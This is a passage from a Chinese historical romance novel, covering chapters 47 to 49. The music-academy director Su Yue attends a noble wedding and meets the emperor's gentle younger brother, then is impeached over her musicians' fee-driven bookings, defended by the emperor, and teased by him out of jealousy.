代侯夫人百口莫辩,站在那里欲哭无泪。正义之士对她进行了一番抨击,发泄了她们心中的不满,然后摇着脑袋,愤慨地转身走开了。 代侯夫人眼圈发红,浑身打颤,平息了半天转头看见苏月,哽声道:“我家孩子是真的病了,没有被人凌辱,可任我们怎么解释,都没有人相信。她们说,若果真清白,就找太医院的御医来验身。孩子已经病成这样,还要受这等侮辱,我们做错了什么要给孩子验身,来向这些八竿子打不着的人自证清白!” 苏月旁听了半天,也深感无力,“自证后会有新的传闻,说贵府上买通了御医,想堵悠悠众口。人之执念极难扭转,尤其是恶念,越想凸显自己过得好,越要夸大别人的苦难。” 代侯夫人听了,低头长叹了口气,待平稳住心绪,才发现这件糟心事占据了太多时间,忙重新振作起来招呼苏月,“我太失礼了,让娘子闲站了半日。娘子快随我入席吧,东院里都是权家人,我引娘子,见见族亲们。” 第 47 章 苏月连忙摆手说不必, “我还要看管乐工们,抽不出身,今日就不见了。等来日……来日有机会, 再一一拜会贵人们。” 她嘴里说着,就想脱身,却被代侯夫人一把拽住了, “娘子不必自谦,都是家里的亲眷, 又不是外人。你如今不是掌管着梨园吗, 大家府中有宴饮, 都得麻烦你呢。不为旁的, 就为着你是梨园使,先混个脸熟,往后办起事来也好回旋。小娘子,人脉可是很要紧的哟,在这上都城中要走得长远, 都得靠亲朋照应。见见又不吃亏,何故要推脱呢, 什么都别说了, 快随我来吧。” 毕竟代侯夫人身上承担着重任, 操办喜事之前进宫面见太后, 太后特意叮嘱了, 抓住机会, 一定要将辜娘子引荐给家里的族亲们。 当朝的太后不是个守旧的人,她并不在乎辜家曾经拒过他家的婚。此一时彼一时,当权力达到了顶峰,仍旧对这位女郎不离不弃, 这就叫念旧,叫心念如一。 况且女郎已经被提拔做了梨园使,名副其实的皇后备选,族中的人若不相识,往后大水冲了龙王庙怎么办? 当然,其中内情是不能说的,脸面还得顾全顾全。所以一切都归为代侯夫人的主张,是她太会审时度势,太懂得和未来的皇后打好交道了。 苏月没有办法,到底被强拽着去了东院。皇亲国戚云集的场所,与那些臣僚远亲的席面不一样,这里清幽雅致,没有高声的喧哗。虽说权家人发迹前都不显赫,但很奇怪,就是有种天然的优雅在身上,仿佛是为了权倾天下而生的。 代侯夫人笑着向众人引荐,“这位是新晋的梨园使,咱们姑苏的同乡,升平街辜员外家的女郎,大家可都认得?今日被我请来,率领乐师为二郎的婚宴奏乐,眼下正得闲,带她与大家见见面。” 大名鼎鼎的辜家女郎,虽然很多人不曾见过她,但她的名声早就在外了。因为一眼能看清她的前程,所以众人对她都格外热络。 皇帝的两位姑母拽着她,又喜又爱直打量,笑着夸赞:“好俊的女郎,穿上这身公服,真是巾帼不让须眉。娘子离了家乡,在上都一切都好?若有哪里为难的,只管来找我们,都是自己人,可不要羞于开口。” 苏月很不自在,陌生的客套,让她有些无所适从,只能硬着头皮虚与委蛇。 这时鲁国夫人不知从哪里冒出来,上前同她打招呼,拉她入席落坐,亲亲热热地说:“辜娘子,好久不见,这一向可好啊?” 见到她,那股尴尬劲儿直冲天灵盖,苏月愈发局促不安,厚着脸皮回话,“托夫人的福,这阵子很好。原还想去您府上请安呢,可惜总也抽不出来空,还请见谅。” 鲁国夫人轻摇了下团扇,“我才该向娘子致歉,原先答应娘子的事,到底没有办成,娘子不会因此怪罪我吧?” 苏月红了脸,鲁国夫人因那件事去找过太后,太后一盘问皇帝,小伎俩就穿帮了。自己偷奸耍滑在前,怎么还能指望别人信守承诺呢。鲁国夫人后来没了消息,就是最好的回应,现在再提起这件事,让她恨不得挖个地洞钻下去。 苏月为那件事,很真挚地向她致了欠,“我骗了夫人,还请夫人体谅我急于归家的心。” 鲁国夫人没想到她这么直率,甚是意外地牵了她的手,“自然、自然。娘子离家千里,想念父母亲人,本就情有可原,我怎么能够不体谅呢。好在如今陛下将梨园交由娘子料理,乐师们不再受人欺压,娘子也能自由行动了,时候一久,自然能适应上都的生活。” 苏月说是,“全赖陛下成全,卑下定会潜心报效陛下,不辜负陛下厚望。” 鲁国夫人狡黠地眨眨眼,偏过头轻声在她耳边说:“要报效陛下,潜心经营梨园是一项,另一项更要紧,把以前断了的姻缘再续上,就是对陛下最大的回报了。” 苏月不由干笑,“夫人打趣了,卑下微末,不敢作他想。”边说边端起杯子朝她举了举,“卑下敬夫人一杯吧,多谢夫人对我的关照。” 既然举杯,当然不能只敬鲁国夫人,在座的诸位都要意思意思。她目光游走,手里的杯盏屡屡轻抬,这东院里因为都是权家人,并不遵循男女不同桌的规矩。大家都是散坐,通共也就五六桌人,用一杯酒就能同所有人建立良好的关系。 不过很意外,在座的都是姑苏人,一圈看下来,居然一个都没见过。尤其其中有位年轻的郎君,约摸二十出头的样子,双眸温润,如月亮落入了深泉。他向她望过来,目光专注而和善,只是脸色相较别人显得苍白,身形也单薄。所有人面前都放着酒爵,只有他手里握的是茶盏,可见身体不大好,连酒都喝不了。 苏月到现在才知道,自己是个重色的人,看见漂亮的郎君会移不开眼。尤其这种病弱的贵公子,无端有种莫名的吸引力,让人想一探究竟。 可惜视线在人家身上停留太久怕失礼,她只好强行移开,待和大家共饮了一杯,才又忍不住朝他望过去。 这时他已经坐正了身子,正与同桌的人说话,侧脸看上去同样优异,大概感觉到有人看他,慢慢转过头来。不知是不是因为体弱的缘故,眨动眼睛的速度好像都比平常人慢一些,略一顿,轻轻浮起一个笑,那唇角的弧度似曾相识,竟和权大一模一样。 一旁的鲁国夫人见他们互望,偏头问:“小娘子可认得他?他是齐王,陛下的胞弟。” 苏月吃了一惊,因为早前没有考虑过权家,对他家的境况和人口并不了解。 “我以为太后只生了陛下一个,没想到陛下还有同胞兄弟。” 鲁国夫人道:“不怪你不知道,齐王身体弱,一直在家静养,很少在人多的场合露面。这回也是碍于和新郎官交好,才破例来喝喜酒的。早前陛下心疼他,想接他在宫中居住,他说于理不合婉拒了,如今自己一人住在恭敬坊的王府里。” “怎么是一个人?没有成家吗?”苏月好奇地问。 鲁国夫人道:“大夫给他诊治过,说他的身子不宜娶亲,这也是没法儿。齐王不能娶亲,陛下这些年南征北战,又耽误了亲事,太后至今没有抱上孙子,难怪要着急。” 苏月终于能够理解太后的难处了。两个儿子一个体弱,另一个虽然身强体壮,但对待女郎缺根筋。两下里都没娶上亲,可不要对着好望山的女郎们直发愁吗。 “太后可还有别的儿女?”打了这么久的交道,苏月终于对他家产生了一点兴趣。 鲁国夫人诧异道:“小娘子担任梨园使前,不是曾入选过好望山吗,怎的还与陛下相识不深的样子。太后生了两儿一女,顶小的女儿幼年病故了,只有陛下与齐王长大成人。前阵子立国,陛下追封了长公主,若那位妹妹还活着,应当与你差不多年纪。” 所以太后才对找儿媳这件事如此孜孜不倦,大约也是为了安慰自己失去女儿的痛苦吧。 这里正说话,那厢新郎官进来敬酒了,外面起哄,强给他灌酒,东院里都是自己人,每桌只消敬上一杯,大家并不强求他。苏月倒很喜欢权家这种骨肉至亲,真心以待的感觉,和自家有点像。就是尽量周全,不忍让新郎官新婚夜弄得酩酊大醉,一怕慢待新妇,二也怕伤身。 新郎来这桌举杯了,嘴里敬谢不止,阿叔阿婶、阿兄阿姐叫了一圈。叫到苏月的时候,发现这位并不相熟,一时噎住了。 大家便笑着引荐,“这是梨园使大人,来贺你新婚之喜。” 这么一说,新郎官立刻了然,十分郑重地单敬了她一杯,“承蒙厚爱,多谢多谢。” 苏月实则很尴尬,这不亲不故的,已经被权家人认了个遍。如此骑虎难下,将来不嫁进权家,好像会在上都寸步难行。 赶紧逃吧,贺过了人家新婚,已然尽了心意了,苏月向同桌的皇亲国戚们致歉,“乐工们还在奏演,我若不在边上坐镇,实在有些不放心。卑下就此告退了,请贵人们见谅。” 她有要务在身,自然不便强留,大家表示理解,直说差事要紧,放她离开了。 苏月临走向众人伏伏身,目光扫过齐王时,他那种谦和温软的笑意像滴落在宣纸上的水墨,以惊人之势晕染。苏月从东院退出来的时候还在想,要是权大能像他一样,何愁彼此不能和平共处啊。明明是一母所生,为什么阿弟如此守礼温柔,而阿兄的嘴却像淬了毒,怼谁谁死。 唉,感慨良多,感慨不过来,索性不去想了。婚宴后来进行得很顺利,洞房闹过了,无非就是吃吃喝喝,聚在一起闲谈海侃。 徐国公来与苏月攀谈,“过几日家中有宴饮,到时候还请娘子多多关照。” 苏月说好,“必定命太乐丞为国公挑选上佳的乐师,请国公放心。” 反正今日彻底与上都的权贵们打了一通交道,人也差不多认全了,所有人表面都很谦卑,当然也有看不惯女子掌管梨园的。 一名官员不知是什么来历,大约是言官那一类吧,借着大义给她上眼药,“娘子深受皇恩,越得宠信,肩上责任越重大。自己坦荡之余,也须良言劝谏陛下。” 苏月笑了笑,“陛下独断乾坤,朝中臣僚各司其职,管好梨园就是我最大的责任。劝谏是御史与言官的差事,若被我干了,那大人干什么?” 两句话堵住了对方的嘴,后来就无人再来自讨没趣了。 这场婚宴持续的时间较长,总得到亥正前后才能结束,苏月在前院徘徊了很久,酒肉的气味冲人,就想避开这里,躲到清净的地方去。好在她的马车在巷道里停着,既然眼下没什么事,可以回车上坐一会儿,等待宴席散场。 于是顺着抄手游廊入跨院,那地方先前用以安置乐工,随墙就有一扇小门,可以直通府外。循着来时的路往外走,将要出门的时候,看见廊上站了三个人,是闯入礼堂的那位四娘子,正拽住齐王的衣袖不放。 边上的傅姆一再致歉:“对不住大王了,奴婢实在拦不住娘子……早前也不这样啊,想是今日人多,惊了我们娘子……” 齐王说不碍的,好言安抚女郎,“洛儿,你还没用饭吧?今日的婚宴上,有一道含缘饼极好吃,让她们给你备上,送进你房里好么?” 头脑不清楚的人,做什么都极执拗,手上拽得愈发紧了,颠三倒四地说:“阿兄,你今日成婚……我的蝉蚕香倒进鱼缸里,没有了。” 傅姆愁眉苦脸解释,“小娘子不让捞,缸里的鱼都给熏死了,鱼一死,小娘子又哭了半晌。” 齐王明白了,对四娘说:“阿兄明日让人再给你送几尾鱼来,还有一大盒蝉蚕香,好不好?” 四娘这才慢慢松开手,“明日一早吗?” 齐王说是,“一睁眼就能看到。” 四娘子又开始向他比划,说鱼饿了,要吃食,她把香掰断了喂鱼,鱼吃了就能透体生香。 这位齐王可能是苏月见过的,最有耐心的男子了,他的语调里没有半分不耐烦,尽力宽慰着,“阿兄知道洛儿是一片好心,不是有意的。缸里的鱼有它们专吃的口粮,下回若觉得它们饿了,让人取鱼食来,再不喂蝉蚕香了,好不好?” 四娘子方才委屈地点头,又磨蹭了会儿,才被傅姆拉走了。 齐王看着远去的身影,轻轻叹了口气,回身见不远处的苏月正望着自己,便腼腆地笑了笑,“辜娘子要出府吗?” 一种女郎面对年轻郎君的羞涩,隐约爬上了苏月心头,她嗳了声,“正想出去,遇见了大王与四娘子。” 齐王转头朝四娘离开的方向望了眼,“我们是自小一起长大的,我与她阿兄交好,与她往来也多。以前在姑苏的时候,每常聚在一起,但不知什么缘故,她忽然病了,浑浑噩噩认不得人,只记得父母阿兄,还有我。” 苏月点了点头,“我听代侯夫人提过些许,再寻好大夫吧,说不定能治好。” 齐王记着她要出府,也不多言了,往边上让了让,牵袖向外比手。 苏月欠欠身,提袍从门上出去,外面的巷道里今日也掌着灯,府前府后一片通明。 回头一顾,他跟在身后出来了,见她疑惑,莞尔道:“我也正要回去呢。夜深了,娘子要在车上等候吗?一个人恐怕不便,我叫个人出来陪同吧。” 苏月说不必,“上都太平,夜不闭户,夜色这么好,有人陪同反倒不自在。” 齐王听了,垂眼看她,简直像在认亲,仔细打量她两眼,又慢慢笑了。 “我们两家险些结亲。我听阿娘说起过,要为阿兄向贵府上下聘,如果当初贵府上应允了,我今日要唤娘子一声阿嫂呢。” 苏月忙摆手,“大王说笑,以前的事,不去提他了。” “想来以后还有许多机会,能再见娘子。”他和声道,“我叫权弈,博弈的弈,娘子直呼我的名字就是了。” 他的吐字和语调如春风化雨,也许是因为身体不好,中气弱,减轻了年轻男子的气盛昂扬。听他说话也好,与他相处也好,都透出一股舒心的感觉来。 但苏月还是尊礼说不敢,掖着手道:“时候不早,卑下就不耽误大王了,大王请回吧。” 齐王颔首,退后两步向她拱拱手。家令上前来搀扶,他转身朝王府的马车走去,衣袂带起一片药香。 苏月目送他登车离开,心下不住嗟叹,世上竟有这么美好的男子,权珩的柔情,八成全长到他身上去了。不过也不能因此挑剔皇帝陛下,头上长角才能做帝王,要是太过柔软,早被朝堂上那些厉害的官员给吃了。 回身登上马车,她在车厢里打了会儿盹,过半个时辰再进去,正好赶上喜宴散场。 代侯夫妇向他们致谢,亲自把乐工们送出府门。以前梨园子弟何尝有过这样的好境遇,大家抱着乐器还礼,回去的路上都喜滋滋地,愉快地对苏月说:“多亏了大娘子,我们如今活出人样了。” 袖里的红布囊掏出来查看,啧啧惊叹:“代侯家真大方,多些这样的邀约,将来出去的时候能攒下不少呢。” 总之今日圆满,大家也别出了一点苗头,跟着辜娘子一同出演,必定能得不少恩赏。苏月一时间成了大家哄抢的红人,太乐丞领队已经不吃香了,辜娘子出马才能保证盆满钵满。 人一旦被哄抬,就有些飘飘然。苏月觉得自己终于有了些价值,至少梨园中的一切都在向好,她没有辜负所有人的期望。 然而这种快乐,并没能持续太久,这日正和太乐令等人商议中秋大宴的安排,门上有人进来,高大的身影挡住了槛前的日光。 大家转头看,发现是个锦衣的内监,太乐令等人没有见过他,但苏月却认得,是乾阳殿的内侍总管万里。 来的是万里,不是国用,这让她有些忐忑,站起身道:“万总管来了,可是陛下有吩咐?” 万里倒还是一副平和面貌,呵腰道:“陛下召见梨园使娘子,有些事要询问娘子,请娘子即刻随卑下入乾阳殿吧。” 第 48 章 太乐令等人都有些惶然, 脚下踟蹰着,把她送到门前。 苏月心里虽也没底,但仍旧安抚他们, “你们忙你们的,我去去就回,不会出什么事的。” 嘴上这么说, 心里还是很忐忑。万里来传令,走的是青龙直道, 不是她的专属巷道, 可见这回不是权家大郎来找茬, 是大梁皇帝正式召见。 她一路走, 一路仔细思量,是不是自己哪里做错了,引得他震怒了。这一向她都谨守本分,从未做过任何违律乱纪的事啊。难道是前几日应邀去代侯府上没有表现好,权家的族亲们状告到了皇帝面前, 他打算和她秋后算账了吗? 唉,果真这俸禄不好挣, 拿人的手短, 她开始担心皇帝会听信谗言, 削她的梨园使之职了。 扭头看看万里, 她打算从他入手, 打听些消息, 便忡忡唤了声万总管,“陛下为何会派您前来?如此郑重其事,难道是我犯了大错吗?” 对于这位小娘子,御前的总管深知她的分量, 很想同她交底,但乾阳殿有乾阳殿的规矩,他也只能稍稍透露一二,先稳一稳她的心绪,“娘子稍安勿躁,陛下定不会为难娘子的。不过您如今掌管梨园,虽不在朝,却惹人侧目,难免会被针对、被弹劾……” 苏月惊了,“有人弹劾我?为什么弹劾我?” 万里支吾了下,为难道:“卑下不便向娘子透露太多,否则坏了御前的规矩,卑下承担不起这罪责。” 苏月没有办法,人家都这么说了,总不能强逼人家。反正已经进了玄武门,没有退缩的余地了,不管是好是坏,先面过圣再说吧。 于是快步赶到乾阳殿,进门见皇帝坐在御座上,两掖站着三位臣僚,其中一人,就是那天在代侯府上找她不痛快的。 三堂会审的架势摆开了,想必没什么好事,毕竟她这样的境况,是没有资格在正式场合入殿参拜的。 皇帝呢,面色很凝重,抬眼看看她,眼神无情无绪,仿佛和她不熟似的。 苏月不敢含糊,忙上前行礼,“卑下辜苏月,叩请陛下圣安。” 皇帝没有理她,调转视线看向底下站立的人,“陈御史,人来了,梨园的失当之处,你亲口与梨园使说吧。” 那位陈御史果真毫不客气,转身对苏月道:“辜娘子掌管梨园,陈某坐镇御史台,娘子为弘扬礼乐,和谐内外,而陈某肩负纠察官员错漏,肃正朝廷纲纪的重任。先与娘子致个歉,陈某是秉公办事,与娘子并无私怨。陈某弹劾的是,梨园乐工仗着陛下垂怜坐抬身价,狂妄自大。梨园本是为承担国家庆典,及朝中官员私宅祭祀婚丧设立的,如何现在竟出现了所谓的大宅谱,按着放赏数额的高低,设定了赴演的门槛。出价高者,优先排选,出价低者无人肯赴宴,如此一来大大加重了设宴的成本,许多府邸为了脸面,硬着头皮提高放赏数额,赴演乐工多者,一次邀约的挑费就在四五十两之巨,赶得上三品官员半年的俸禄。请问辜娘子,这大梁的梨园如今可是被当成了买卖在经营?若是,只要娘子一句话,陈某再不多言,立时拜别陛下,回家等着降罪受罚。” 苏月听完了他的话,顿时羞愧难当。其实她并非完全不知情,早就听乐工们私下议论,说这家赏钱多,那家抠门。原本觉得乐工辛苦,那些下帖的门第给些赏钱也不为过,却没想到事态慢慢发展,变得不受她控制了。 尤其御史台斥责梨园成了盈利的工具,暗指她把生意场上那些手段搬到了梨园,不就是在讥嘲她商贾出身吗。她心里难过,又理屈词穷,只得向皇帝揖手,闷声道:“卑下管束不力,令园中风气败坏,邪念滋生,甘愿受罚,请陛下降罪。” 皇帝必定高高举起,轻轻落下,这点御史台早就有预料,陈御史便赶在皇帝之前发了声,“请陛下切勿徇私。大梁方建立,纲纪是否严明,全看今朝。臣等知道,辜娘子与陛下颇有渊源,陛下也是因此前情,才破例将梨园交由一名女子来掌管。可臣以为,一国之君偏私偏爱应当只在内闱,公然将私情带至朝堂上,有公私不分之嫌。请陛下收回辜娘子梨园使一职,另委派素有历练的太常寺官员担任,如此才能拨乱反正。辜娘子这么长时间的游戏,想来也足够了,还是回到掖庭内,做些女郎该做的事吧。” 果然言官的嘴,是杀人于无形的刀,句句都能剔到人骨头上,能将你的心剜个洞。 苏月先前的内疚,因他的这番话变成了怒火,愤懑道:“陈御史饱读诗书,原来就是为了在朝堂上贬低女子吗?什么叫拨乱反正?乐工抬高赏银固然有错,但这梨园难道不是靠着半数女子支撑起来的吗?陛下任命我为梨园使,我自问兢兢业业,不敢有半分懈怠,月余令曲目增添十三,恢复声诗、变文、古琴乐,我哪一桩是在游戏,陛下又何时公私不分了,还请陈御史赐教。” 皇帝的目光划过了陈御史的面门,慢悠悠一笑,“看来陈大人对朕颇有微词啊,大梁立国之初就有国策,朝中官员的任命一不看师从,二不看门第,向来是良才善用,能者居之。上次查办盛望,牵扯出了梨园中的肮脏交易,朕便打定主意要改变现状,不令这些乐工们再受人欺辱,沦为权贵的玩物。朕问你们,什么人深知道乐人之苦?是太常寺那些坐在官衙中的官员吗?”他缓缓摇头,“不是,是同样身处水深火热中的乐工。乐人掌管梨园和乐府,都是理所当然的,因为他们懂得什么是管色谱,什么是六十调,懂得如何将音声发扬光大,而非仅作取悦权贵的靡靡之音。” 一番慷慨陈词,御史台的官员们被说得面面相觑,难以反驳。皇帝顿了顿又道:“在朝廷为官,最忌知小礼而无大义,梨园中有不正之风,下令严加整改就是了,如何牵扯出那么多闲言,又是公私不分,又是贬损女子?或许是朕浅见了,朕以为如今的梨园,比之开国之时强盛了许多,梨园使功不可没。然乐工们心浮气躁,唯利是图,亦是梨园使的罪过。朕素来赏罚分明,今日的事辜大人难辞其咎,就罚半年俸禄,责令纠正吧。” 金口玉言下,御史台的人彻底被压制住了。陛下虽然光明正大徇私,但言辞有大格局。格局一大,就占了有利形势,你若再不依不饶,那就真成了知小礼而无大义了。 苏月见那几人没有异议,方才俯身领命,“卑下知错,甘愿受罚。” 而皇帝适时纠正了她,“辜大人既然担任梨园使,就是朝廷命官。从今往后不要再自称卑下了,要自称臣,记住了吗?” 御史台的人顿时傻了眼,这算是弄巧成拙了吗?原先辜娘子管理梨园只有实权没有品阶,这么颠来倒去一番,竟成了“朝廷命官”。要是继续弹劾下去,明日怕不是要登上朝堂,参加朝会了吧! 陈御史等三人悻悻然,苏月的鼻子直发酸,也说不清心里的感受,只觉酸甜苦辣都搅合在一起,堵得人心口生疼。 皇帝长舒一口气,复又换了个温和的语调,“辜大人掌管梨园方满一月,定会有许多不足,小惩大诫,慢慢改正,诸位应当放开心胸给她些余地,容她成长。今日的事,就到此为止吧,朕已做出了裁决,就不再多议了。朝廷既要扶植梨园讴歌盛世,也要仰赖诸位直陈时弊。朕盼朝堂内外一团和气,若因梨园使是女郎,就断言她不能胜任,朕觉得这是成见,不该从我大梁御史台的官员们口中说出来。” 陈御史等人也懂得审时度势,到了这种时候,就不要继续不依不饶叫板了,遂转变了话风道:“臣等过于急切了,言辞激愤无礼,请陛下恕罪。” 当然原则是要坚守的,只向陛下认错,绝不向女郎低头。三位御史台官员俯身长揖下去,没有多看苏月一眼,却行退出了大殿。 皇帝见人都散了,方才转头望向苏月,“朕记得曾经告诫过你,不要意气用事,被人情绑缚住手脚,你只求维护乐工的尊严,却忘了同时应当善加约束他们。人的贪欲就是如此,得陇望蜀,好了伤疤忘了疼,弄得如今规矩大乱,份内的职责也讲求价高者得。他们贪财,你就遭殃,被人一状告到朕跟前来,要不是有朕托底,你这梨园使可当不成了。” 苏月也有她的不平,“御史台那帮人只为权贵鸣不平,当初乐工们遭受欺凌时,怎么不见他们站出来,为乐工们讨个公道?现在大义凛然,百般斥责乐工们,分明就是拜高踩低,我没有眼睛瞧他们!” 皇帝直蹙眉,“你这是强词夺理,咱们就事论事,不该一桩归一桩吗?失德的王公大臣朕会惩处,梨园子弟坐地起价,难道不是你的错?你身为梨园使,只知得益不知尽责,你还同朕闹起脾气来?” 苏月被他说得哑口无言,用力咬着唇转过身,不再面对他了。那纤瘦的肩膀和身腰支撑着板正的公服,看上去有些悲凉凄惨。 皇帝怔忡望着她的背影,她低着头,用沉默对抗他。他心烦意乱,气闷道:“御史台弹劾你,朕不得不将你召来,当面解决此事。朕不是已经向着你了吗,那些话你都没听见吗,还要朕怎么样?” 可她仍旧不应,正在他恼火的时候,忽然见她肩头耸动,抽搭起来。他一时慌了神,骇然望向一旁的万里,万里比他更惶恐,二话不说竟行礼退下了。 这下御座是坐不成了,要重振帝王威仪的计划再一次宣告失败,忙下来劝慰,“唉,你哭什么……朕没有要怪你的意思,你怎么还委屈上了……” 苏月自小是蜜罐子里长大的,就算进了梨园,也没有人对她疾言厉色过。她一直被保护得很好,但这次御史台的弹劾,将她强拽进了一个陌生的世界里。这里没有人体谅她还年轻,没有人在乎她是否在一步步摸索,言官们只想对她的经验就事论事,对她身为女子管理梨园百般讥嘲,然后直剌剌地将他们的轻蔑,扔在她脸上。 她越想越伤心,眼泪越流越多,终于放声大哭,哭声瞬间充斥了整个乾阳殿。 皇帝这辈子没有应付过嚎啕的女郎,忽来的变故让他手忙脚乱。他围着她团团转,急道:“别哭了……别哭了吧!朕不是帮着你回敬了那些言官吗,他们口不择言,朕也很恼火……你为什么要哭?是哭他们欺负你,还是哭朕没有保护好你?” 他卷着袖子要来替她擦泪,被她仰头避开了。她原本就生得白净,这一哭鼻尖泛红,一双眼睛蓄满了泪,简直受了天大的委屈。他立刻开始反省,一定是自己做错了,朝堂上日日直面风雨,早就让他习以为常,可她是女郎,怎么能让她经受那些言官的口诛笔伐。所以他一开始就不该召见她,直接替她挡煞就是了。大热的天,让她赶到乾阳殿来做什么呢,夜里自己去官舍找她,同她晓以利害,这事不就轻轻揭过了吗。 他立刻退了百步,“罢,以后再有人弹劾你,朕不会传召你了。朕只是觉得应当让你懂得官场上的利害,权力是柄双刃剑,你不能只享受它带来的便利,不去正视纵权的后果。好了,别哭了,算朕求你。这事传到太后耳朵里,又要怪朕不会讨女郎欢心……朕已经很努力了。” 他要来替她抹脸,她把他的手推开了,往后退了两步直犯倔,“男女授受不亲,你别想趁我失态,就对我动手动脚。” 皇帝说天地良心,“你可真是狗咬吕洞宾。” 然而她又要咧嘴,他脑子一热,脱口道:“好了好了,到朕怀里来吧,朕抱一抱,就能疗愈你的伤心了。” 这是灵丹妙药,立刻让苏月止住了哭。她鄙夷地侧目乜他,“陛下趁人之危的手段可说炉火纯青,把我传来看清外人的险恶,再趁机对我施以援手,让我对你感激涕零。时机一旦成熟就想轻薄我,以为我不会反抗,是不是?” 皇帝一脸无辜,“这是什么话,朕何时这样想过!” 嘴上否认,心底里却对她万分宾服,为什么他的小心思轻而易举就被她识破了,他先前确实是这么谋划的。只是没想到那些人太过猖狂,对待女郎没有半分君子风度,狠狠伤了她的自尊。他这时后悔已经来不及了,只好极尽周全,张开双臂,等着她投怀送抱。 不是说女郎脆弱的时候,会急于寻找安慰吗,为什么她没有? 皇帝有些失望,果真女子太自强了,对男人来说也是一种负担。 苏月和他关注的重点,从来不在一个层面上。他还在遗憾她不够脆弱,她却在思量下次应当怎么应对弹劾。 她有她的主张,执拗地说,“我偏要直面弹劾。有错我自会认罚,但我若是没错,也不能让人平白构陷我。” 听得皇帝很欣慰,不是个怕事的女郎,初见母仪天下的风范了。 于是微笑着颔首,“也好,不挨骂长不大,多被弹劾几次,就知道世道险恶了。” 可这也不是安慰人的好话,苏月气恼地说:“原先我在姑苏,世道也不算太险恶,如今一脚踏入上都,看见的都是丑恶。” 皇帝些微不悦,“怎么都是丑恶,朕对你还不够好吗?太后对你还不够关爱吗?就算上都是个泥潭,朕也是绕城的清泉,你怎么只念旧恶不知感恩。今日要不是朕,你早就被他们生吞活剥了,知不知道!” 苏月被他一通数落,气焰终于矮了几分,窝窝囊囊道:“卑下被气冲了头,口不择言了。虽然卑下也不知道您算不算清泉,但对卑下来说您宽仁护短,确实是卑下的靠山。” 皇帝又更正她一遍,“说了别自称卑下,如此自降身份,拉低了朕的眼光。” 一句话里包涵了陛下百转千回的心思,那份欲语还休,甚至看她的目光都带着轻轻的幽怨,惊得苏月慌忙调开了视线。 “你为何不看朕?”皇帝又不满,“你以为今日吃了亏,实则是赚了,往后朝堂内外,谁敢不认你是朝廷命官?” 话虽这样说,但苏月回想起来就心痛欲死,“我被罚了半年俸禄,前几日才刚拿第一回月俸,马上就倒欠朝廷四十两……快别说了,说得我心如刀绞,不想活了。” 罚俸半年而已,真的有这么严重吗?皇帝说:“你也是苏州富户出身,四十两就要死要活,你的命未免太不值钱了。”想了想,大手一挥,“你的俸禄,少府照旧逐月发放,别死了,好好活着吧。” 苏月这才略感舒心,舒心之后就有闲情来检讨自己的过失了,便绞着手指说:“臣没能约束好乐工,遗漏了梨园的规章,都是臣的错。请陛下放心,等我回去,一定着力整顿此事,给陛下和朝廷一个交代。” 皇帝说好,“有错不怕,只要受教改进,你依旧是称职的梨园使。朕对你寄予厚望,以前这样说,现在也还是这样说。他们觉得女郎治理不了梨园,朕半分也不认同,朕觉得你可以,并且可以治理得极好。因为就算你不行,还有朕,朕在后面替你托着,你什么都不用怕。” 这是暖心的安慰,虽然还是一样不中听,但至少给了她莫大的底气。 皇帝见她舒展开了眉眼,自己也很欢喜,轻松地问她:“前几日去代侯府上喝喜酒了?场面热闹么?可见到权家的族亲?” 苏月点头,“代侯夫人引我见了许多人,我与鲁国夫人坐一桌。”说着想起了权弈,追捧式地说,“我还见到了齐王,齐王真是我见过的,最美好的男子了。他那么温柔,那么知礼,说话的时候轻声细语,像春日的甘霖。还有他的身形与举手投足,看上去道骨仙风,真是天上有地下无。”边说边打量了面前的人两眼,嘀咕起来,“据说陛下与他是一母的同胞,你们怎么一点也不像,多奇怪啊…… 吃自己兄弟的醋,听上去有点不可思议,但皇帝就是吃了,且吃得一点不隐藏。 “你有没有想过,道骨仙风是因为太瘦?”他拉着脸道,“哪天吃胖了,他就仙不起来了。再者朕劝你自重,和阿兄议过亲,眼睛不能多看小郎一眼。兄弟两个你都爱,会挨天打雷劈的。” 第 49 章 简直太过分了, 她究竟是什么眼神,竟觉得病弱的男子有仙气。若是去问权弈,他也不希望自己得阿嫂这样的评价吧。 苏月则认为他脸皮厚得惊人, 什么兄弟两个她都爱,她明明一个也没爱,怎么就和爱扯上了关系。还有与阿兄议过亲, 就不能看阿弟,这是哪里来的破规矩?他竟还说齐王是“小郎”, 小郎是什么, 小叔子啊。自己和他的婚事又没成, 齐王算哪门子的小叔子! 他该不会以为只要媒人上过门, 就算私定终身了吧?不过以权大对婚姻的理解来说,还真有这种可能。 “陛下,您究竟打算吃我多少回豆腐,才能觉得回了本?”她翻着眼说,“我是好好的闺阁女郎……” 皇帝听得笑了, “什么闺阁女郎,闺阁女郎能出来做官?你是朕亲封的梨园使, 由古至今第一位任梨园使的女郎。你收下了朕这么大个梨园, 难道不是对朕有意?若换了一般人要送你金银, 你收是不收?” 敢情梨园成了他的聘礼?他事先也没说明啊。 苏月为难地辩解, “账不是这么算的, 陛下。梨园交到我手上, 我辛苦操持,挣您的月俸,没有将梨园据为己有,也没有不劳而获, 每日呕心沥血,是在为您奔忙啊。早前不是您说的,要扶植梨园,但政务太多忙不过来,让我给您帮忙吗。明明是您托我办事,如今怎么倒打一耙,我累死累活还要受言官弹劾,天底下哪有这么憋屈的聘礼!” 皇帝虎了脸,“也就是说,你还是对朕无意?辜娘子,你可不要欺人太甚。” “这怎么还牵扯上欺人了呢。”苏月蹙起眉,笑得很无奈,“臣只是觉得颇为冤枉而已。” 皇帝沉默着凝视她半晌,忽然叫了声国用,“备笔墨。” 国用忙从廊上进来,铺开宣纸,往砚台上舀水研磨。 苏月迟疑地跟过去,“您要做什么?” 皇帝提笔道:“先前陈御史不是问你,可是把梨园当做买卖经营,朕要告诉他,他说对了。等朕写个文书,从今往后梨园就是你的,国宴祭祀要用礼乐,须得向你付钱,王公大臣府上婚丧嫁娶要用乐工,也得给你付钱,这样你就无话可说了。” 国用呆滞地抬眼看看苏月,苏月吓得头皮都麻了,慌忙上前阻止,“您再多写一个字,臣就给您跪下了。” 皇帝自然知道这种事不可行,就算彼此再要好,梨园也不能归到私账上。可他就是要坐实谣言,自己以梨园为聘下了定,她既然接受就不能三心二意,这是做人基本的操守。 “你还觉得权弈道骨仙风,惊为天人吗?”他转头问她,“兔子不吃窝边草,你知道自己做错了吗?” 世上竟有这种人,蛮不讲理地打断别人的臆想,她夸了齐王一句,就成了他口中的吃窝边草。 可他两眼灼灼,问得十分认真,她竟有些不知怎么反抗,延捱了半晌道:“我错了,我再不觉得齐王比陛下好看了。” 